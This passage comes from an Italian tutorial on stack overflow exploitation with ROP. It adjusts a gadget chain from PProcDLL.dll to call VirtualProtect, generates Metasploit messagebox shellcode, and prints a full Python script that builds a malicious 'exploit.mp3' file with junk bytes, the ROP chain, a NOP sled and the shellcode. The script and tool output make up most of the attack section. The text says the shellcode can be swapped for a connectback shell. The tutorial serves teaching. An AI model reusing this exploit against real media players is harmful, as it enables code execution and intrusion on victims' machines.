Qui va inserita un WORD aggiuntiva dato che al momento dell’esecuzione della ROP, ESP non punta allo stessa locazione di EIP, di conseguenza per fare in modo che POP EAX raccolga il puntatore al puntatore di VirtualProtect, deve essere posizionata una WORD subito prima tale locazione.
- 0x1011bcf6, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN (PProcDLL.dll)
In questo caso POP ESI è un’istruzione che non ci è utile, posizioniamo una WORD per far proseguire ESP in modo corretto verso la prossima locazione.
- 0x1002d319, # XCHG EAX,EBX # RETN 0E (PProcDLL.dll)
- 0x1012d9ab, # POP ECX # RETN (PProcDLL.dll)
L’istruzione RET 0E somma ad ESP il valore 0x0e. Questo ci può causare dei problemi dal momento che ci sposta ESP di ben 14 byte in avanti. EIP invece punterà alla WORD successiva a 0x1012d9ab. Ovviamo a questo problema inserendo anche qui un ‘padding’ di 14 byte.
Il resto della ROP chain si comporta a dovere. Possiamo lasciarla invariata.
Ora scegliamo un payload di esempio dal framework metasploit, i passaggi sono davvero molto semplici:
msf > show payloads Payloads ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline aix/ppc/shell_interact normal AIX execve shell for inetd aix/ppc/shell_reverse_tcp normal AIX Command Shell, Reverse TCP Inline ... windows/exec normal Windows Execute Command windows/loadlibrary normal Windows LoadLibrary Path windows/messagebox normal Windows MessageBox ...
Per questo esempio una semplice messagebox andrà benissimo, in alternativa si può utilizzare una shellcode connectback come quella vista nei precedenti capitoli, basta che si adatti leggermente il codice ad essere eseguito su windows 7.
Selezioniamo il payload, vediamone una sintetica descrizione e generiamo la shellcode,
msf > use windows/messagebox msf payload(messagebox) > info Name: Windows MessageBox Module: payload/windows/messagebox Version: 0 Platform: Windows Arch: x86 Needs Admin: No Total size: 270 Rank: Normal Provided by: corelanc0d3r jduck <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none ICON NO yes Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION TEXT Hello, from MSF! yes Messagebox Text (max 255 chars) TITLE MessageBox yes Messagebox Title (max 255 chars) Description: Spawns a dialog via MessageBox using a customizable title, text & Icon
Cambiamo alcuni parametri:
msf payload(messagebox) > set TEXT "Hello Matteo " TEXT => Hello Matteo msf payload(messagebox) > set TITLE "The exploit works!" TITLE => The exploit works! msf payload(messagebox) > generate # windows/messagebox - 275 bytes # http://www.metasploit.com # EXITFUNC=process, TITLE=The exploit works!, TEXT=Hello # Matteo , ICON=NO buf = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" + "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" + "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" + "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" + "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" + "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" + "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" + "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" + "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" + "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" + "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" + "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" + "\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" + "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" + "\x61\xff\xff\xff\x68\x73\x21\x58\x20\x68\x77\x6f\x72\x6b" + "\x68\x6f\x69\x74\x20\x68\x65\x78\x70\x6c\x68\x54\x68\x65" + "\x20\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x20\x3a\x29\x58" + "\x68\x74\x74\x65\x6f\x68\x6f\x20\x4d\x61\x68\x48\x65\x6c" + "\x6c\x31\xc9\x88\x4c\x24\x0f\x89\xe1\x31\xd2\x52\x53\x51" + "\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
Inseriamo ROP, shellcode e byte junk, in uno script python, perl o ruby.
Io ho utilizzato python. E’ bene anche piazzare una serie di byte NOP tra la rop chain e il payload per evitare di ritornare su locazioni non valide,
#!/usr/bin/python # File name evilfile = "exploit.mp3" # Align byte rop_align = "\x41" # Offset from head of buffer to saved EIP junk = "A"*4112 # NOP sled (inc EDI) nop = "\x47"*100 # ROP chain [from non-ASLR module "PProcDLL.dll"] ropchain = "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN ropchain += rop_align * 4 # junk ropchain += "\x64\xf2\x14\x10" # 0x1014f264, # ecx) ropchain += "\x84\xa3\x01\x10" # 0x1001a384, # POP EDI # RETN ropchain += "\x85\xa3\x01\x10" # 0x1001a385, # ROP NOP (-> edi) ropchain += "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN ropchain += "\xc0\xff\xff\xff" # 0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx ropchain += "\x6b\x2b\x0d\x10" # 0x100d2b6b, # NEG EAX # RETN ropchain += "\x5a\xba\x0e\x10" # 0x100eba5a, # XCHG EAX,EDX # RETN ropchain += "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN ropchain += "\x90\x90\x90\x90" # 0x90909090, # NOPS (-> eax) ropchain += "\x43\x44\x01\x10" # 0x10014443, # PUSHAD # RETN payload = ( "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" "\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" "\x61\xff\xff\xff\x68\x73\x21\x58\x20\x68\x77\x6f\x72\x6b" "\x68\x6f\x69\x74\x20\x68\x65\x78\x70\x6c\x68\x54\x68\x65" "\x20\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x20\x3a\x29\x58" "\x68\x74\x74\x65\x6f\x68\x6f\x20\x4d\x61\x68\x48\x65\x6c" "\x6c\x31\xc9\x88\x4c\x24\x0f\x89\xe1\x31\xd2\x52\x53\x51" "\x52\xff\xd0\x31\xc0\x50\xff\x55\x08" ) # Assemble buffer = junk + ropchain + nop + payload # Print to file myfile = open(evilfile,"w") myfile.write(buffer) myfile.close()
Aprendo il file exploit.mp3 dopo aver ascoltato una canzone di vostro gradimento si ottiene:
*L’autore non si ritiene responsabile dell’uso improprio del codice e informazioni riportate. Il testo vuole essere esclusivamente a scopo informativo.
*The author is not responsible for improper use of the code and the information showed. The text is intended for informational purposes only.
Bibliografia:
.1 Aleph1 – Smashing the stack for fun and profit, Phrack Magazine, 1996
.2 Crispan Cowan, Calton Pu, Dave Maier, Jonathan Walpole, Peat Bakke, Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang, Heather Hinton – StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attack, Oregon Graduate Institute of Science & Technology, Ryerson Polytechnic University, 1998
.3 panic.c source code: http://lxr.linux.no/#linux+v3.9.3/kernel/panic.c
.4 Home page of PaX project http://pax.grsecurity.net/
.5 Nergal – The advance return-into-lib(c) exploits: PaX case study, Phrack Magazine
.6 Chris Anley, John Heasman, Felix “FX” Linder, Gerardo Richarte – The shellcoder’s handbook, 2007
.7 Flavio Bernardotti – Hacker’s programming book, 2002
.8 Perry Wagle, Crispin Cowan – StackGuard: simple stack smash protection for GCC
.9 Jon Erickson - The Art of Exploitation, 2008
.10 Simone Piccardi - Introduzione agli Intrusion Detection System, 2005
.11 Crispin Cowan, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole – Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade, IEEE and supported by DARPA, 1999
.12 RYAN ROEMER, ERIK BUCHANAN, HOVAV SHACHAM and STEFAN SAVAGE – Return-Oriented Programming: Systems, Languages, and Applications, University of California, San Diego